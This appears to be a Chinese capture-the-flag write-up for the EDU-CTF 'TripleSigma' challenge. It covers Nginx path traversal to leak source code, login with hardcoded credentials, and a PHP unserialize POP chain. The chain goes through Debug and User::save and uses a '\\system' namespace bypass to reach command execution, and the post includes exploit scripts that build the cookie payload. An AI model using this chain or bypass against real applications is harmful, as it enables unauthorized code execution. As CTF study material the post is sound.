EDU-CTF TripleSigma题解

栏目: 服务器 · Nginx · 发布时间: 6年前

内容简介:EDU-CTF是台大、交大、台科大三个学校的校赛,题目感觉都不错。TripleSigma这道题的反序列化POP链很有意思,官方wp写的很简单,在这里分析一下。题目地址:http://final.kaibro.tw:10004/ (需要梯zi)Contents

EDU-CTF是台大、交大、台科大三个学校的校赛,题目感觉都不错。TripleSigma这道题的反序列化POP链很有意思,官方wp写的很简单,在这里分析一下。

题目地址:http://final.kaibro.tw:10004/ (需要梯zi)

Contents

信息搜集

打开是一个博客页面,注册功能被关掉了,目录也扫不出来东西。

根据报错页面可以知道后端是Nginx

EDU-CTF TripleSigma题解

众所周知Nginx会由于配置错误产生很多安全问题,可以参考p牛文章: 三个案例看Nginx配置安全

比如这里就存在目录穿越漏洞,从而可以下载网站源码。

EDU-CTF TripleSigma题解 EDU-CTF TripleSigma题解

代码审计

网站的源码文件很多, lib 文件夹下是各种功能的模块文件。根目录下的每个文件都包含了所有模块。首先查看注册和登陆源码,注册代码基本没用。

login.php

<?php
    session_start();
    if(isset($_POST['user']) && isset($_POST['pass'])) {
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        if(User::check($user, $pass)) {
            $_SESSION['user'] = User::getIDByName($user);
        $wrong = false;
            header("Location: index.php");
        } else {
            $wrong = true;
        }
    }
?>

跟进 User 模块

class_user.php

<?php

class User {

    public $func = "shell_exec";
    public $data = NULL;
    public static function getAllUser() {
        $users = array(array('id' => 1, 'name' => 'kaibro', 'password' => 'easypeasy666'));
        return $users;
    }

    public static function getNameByID($id) {
        $users = User::getAllUser();
        for($i = 0; $i < count($users); $i++) {
            if($users[$i]['id'] === $id) {
                return $users[$i]['name'];
            }
        }
        return NULL;
    }

    public static function getIDByName($name) {
        $users = User::getAllUser();
        for($i = 0; $i < count($users); $i++) {
            if($users[$i]['name'] === $name) {
                return $users[$i]['id'];
            }
        }
        return NULL;
    }

    public static function check($name, $password) {
        $users = User::getAllUser();
        for($i = 0; $i < count($users); $i++) {
            if($users[$i]['name'] === $name && $users[$i]['password'] === $password)
                return true;
        }
        return false;
    }

    public function save() {
        if(!isset($this->data))
            $this->data = User::getAllUser();

        if(preg_match("/^[a-z]/is", $this->func)) {
            if($this->func === "shell_exec") {
            #    ($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result");
            } 
        } else {
       #     ($this->func)($this->data);
        }

    }

    public static function getFunc() {
        return $this->func;
    }

}

可以看到 check 方法把登陆的用户名密码与 getAllUser 方法的数组进行对比,有相同的值就返回True。因此我们直接用源码中的 kaibroeasypeasy666 登陆即可。

另外在 cookie 模块中发现一处任意反序列化

EDU-CTF TripleSigma题解

寻找POP Chain

blog.php 中如果存在 $_COOKIE['e'] ,则会实例化cookie对象,并且可以触发任意反序列化对象的 __tostring 方法

EDU-CTF TripleSigma题解

user 模块的 save 方法虽然对 shell_exec 的参数进行了 escapeshellarg 处理,且要求自定义函数名开头不能为字母,但是我们可以通过 php 全局命名空间 \ 进行绕过,

EDU-CTF TripleSigma题解

进入 else 条件中进行RCE。

public function save() {
        if(!isset($this->data))
            $this->data = User::getAllUser();

        if(preg_match("/^[a-z]/is", $this->func)) {
            if($this->func === "shell_exec") {
                ($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result");
            } 
        } else {
            ($this->func)($this->data);
        }

构造exp(这里我在本地测试了,因为发现题目有问题。)

<?php
include("lib/class_cookie.php");
include("lib/class_user.php");
include("lib/class_debug.php");

$A = new Debug();
$A->fm = new User();
$A->fm->func = "\\system";
$A->fm->data = "dir";

echo strrev(base64_encode("1|".serialize($art)));

测试失败,而官方给的exp却可以

<?php
include("lib/class_article.php");
include("lib/class_articlebody.php");
include("lib/class_cookie.php");
include("lib/class_user.php");
include("lib/class_debug.php");
include("lib/class_filemanager.php");


$title = new Debug();
$title->fm = new User();
$title->fm->func = "\\system";
$title->fm->data = "dir";
$content = "foo";
$body = new ArticleBody($title, $content);
$art = new Article("foo", "bar");
$art->body = $body;

echo strrev(base64_encode("1|".serialize($title)));
EDU-CTF TripleSigma题解

它这里把 Debug 类的序列化对象传给了 ArticleBody$title 属性,然后 ArticleBody 类的序列化对象又传给了 Article 对象的 $body 属性。

跟第一次测试的思路一样,触发 Article 对象的 __tostring 方法

EDU-CTF TripleSigma题解

从而又触发了 ArticleBody 对象的 __tostring 方法

EDU-CTF TripleSigma题解

而它的 $title 属性为 Debug ,从而又触发其 __tostring 方法调用我们传入的 User 对象的 save() 方法构成RCE。

寻找测试失败原因

想了很久才发现是print_title()函数的问题。

EDU-CTF TripleSigma题解 一直以为他会直接打印字符串,从而触发 __tostring 。哪里会想到它echo的是 $r->body->title

在lib_common.php第99行。

function print_title($r) {
    if(isset($r)) {
        echo $r->body->title;
    }
}

那么官方的exp就是直接触发 Debug__toString 方法了,没有那么复杂了,2333感觉好坑啊。

后记

以后读代码一定要仔细认真,不忽略任何一个点,不然要绕大弯路。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Designing for Emotion

Designing for Emotion

Aarron Walter / Happy Cog / 2011-10-18 / USD 18.00

Make your users fall in love with your site via the precepts packed into this brief, charming book by MailChimp user experience design lead Aarron Walter. From classic psychology to case studies, high......一起来看看 《Designing for Emotion》 这本书的介绍吧!

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具